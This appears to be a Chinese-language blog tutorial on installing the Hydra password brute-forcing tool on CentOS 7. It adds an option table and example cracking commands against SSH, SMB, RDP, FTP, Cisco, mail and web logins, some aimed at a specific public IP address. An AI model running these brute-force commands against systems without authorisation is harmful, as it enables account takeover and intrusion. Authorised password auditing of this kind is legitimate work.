Centos7安装Hydra(爆破神器)

    Hydra 可以根据使用者指定的用户字名典文件、密码字典文件、目标IP列表来暴力破解目标系统登录用户名和密码。并且其支持多种协议以及并发连接!

安装 

GitHub项目地址:https://github.com/vanhauser-thc/thc-hydra

wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip

安装必要组件:

yum -y install gcc libssh-devel openssl-devel
yum install -y unzip zip

解压:

unzip master.zip

进入目录:

cd thc-hydra-master/

编译运行:

./configure

make &&make install


测试:

hydra -l root -p 12345678 192.168.234.128 ssh

下面测试一下密码字典:(emmmm我没文件所以随便输入了几条)

hydra 192.168.234.128 ssh -l root -P ../password.txt


使用

语法:

hydra [some command line options] [-s PORT] TARGET PROTOCOL [MODULE-OPTIONS]
 
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

常用选项:

选项 说明 示例
-h 查看所有可用的命令行选项 hydra -h
-U 检查模块是否具有可选参数 hydra -U smb
-l 指定用户名 -l zhangsan
-p 指定密码 -p 123456
-C 使用冒号分隔的user:passwd格式,而不是-l/-p -C zhangsan:123456
-L 指定用户名字典文件 -L /root/user.dict
-P 指定密码字典文件 -P /root/passwd.dict
-M 指定目标IP列表文件 -M /root/ip.dict
-e 尝试“尝试登录为密码”和“空密码” -e ns
-s 指定对应模块使用的端口,例如:如果ssh端口不是默认22,这里可以指定 -s 2222
-t 指定线程数,默认16 -t 1
-vV 显示详细破解过程 -vV
-o 指定将结果输出到文件 -o /result.txt
-b 指定-o选项输出的结果信息的类型,默认为文本信息,可以自定为jsonv1和json格式。 -b json
-R 恢复先前中止/崩溃的会话(当hydra被Control-C中止,被杀死或崩溃时,它会留下一个“hydra.restore”文件,其中包含恢复会话所需的所有信息。此会话文件每5分钟写入一次。注意:hydra.restore文件不能复制到不同的平台(例如从小端到大端,或从Solaris到AIX)) -R
-I 忽略现有的恢复文件(不要等待10秒) -I
-S 执行SSL连接 -S
-f 在使用-M参数后,找到第一对登录用户和密码的时候终止破解 -f
-W 设置最大超时时间,单位秒,默认30秒 -W 60
-q 不要打印有关连接错误的消息 -q

其他选项:

  • 破解https:
hydra -m /index.php -l muts -P pass.txt 120.36.126.186 https
  • 破解teamspeak:
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
  • 破解cisco:
hydra -P pass.txt 120.36.126.186 cisco
hydra -m cloud -P pass.txt 120.36.126.186 cisco-enable
  • 破解smb:
hydra -l administrator -P pass.txt 120.36.126.186 smb
  • 破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
  • 破解rdp:
hydra ip rdp -l administrator -P pass.txt -V
  • 破解http-proxy:
hydra -l admin -P pass.txt http-proxy://120.36.126.186
  • 破解imap:
hydra -L user.txt -p secret 120.36.126.186 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
  • 破解telnet
hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
  • 破解ftp:
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
  • get方式提交,破解web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /index.php

文档地址:

https://github.com/vanhauser-thc/thc-hydra